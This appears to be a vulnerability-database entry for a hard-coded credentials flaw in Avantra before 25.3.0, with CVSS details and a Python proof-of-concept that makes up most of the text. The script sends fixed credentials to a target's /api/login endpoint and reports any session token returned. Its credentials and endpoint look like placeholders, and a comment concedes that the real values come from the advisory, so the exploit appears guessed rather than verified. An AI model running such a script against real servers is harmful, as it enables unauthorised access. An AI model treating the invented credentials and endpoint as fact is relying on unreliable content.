Use of Hard-coded Credentials vulnerability in Avantra allows Accessing
Functionality Not Properly Constrained by ACLs. This issue affects
Avantra: before 25.3.0.
CVSS Details
CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Avantra < 25.3.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-3873 PoC - Avantra Hard-coded Credentials
# Reference: https://support.avantra.com/hc/en-us/articles/5352465121695
import requests
import sys
def exploit_avantra(target_url):
"""
Exploit for CVE-2026-3873: Hard-coded Credentials in Avantra
This PoC demonstrates authentication bypass using default credentials
"""
login_endpoint = f"{target_url.rstrip('/')}/api/login"
# Hard-coded credentials (found in legacy versions)
# Note: Actual credentials should be obtained from official security advisory
payload = {
"username": "legacy_admin",
"password": "backdoor_password_123"
}
try:
response = requests.post(login_endpoint, json=payload, timeout=10)
if response.status_code == 200:
data = response.json()
if data.get('success') or 'token' in data:
print(f"[+] Authentication successful!")
print(f"[+] Token: {data.get('token', 'N/A')}")
return True
print(f"[-] Authentication failed. Status: {response.status_code}")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} https://avantra-server:443")
sys.exit(1)
exploit_avantra(sys.argv[1])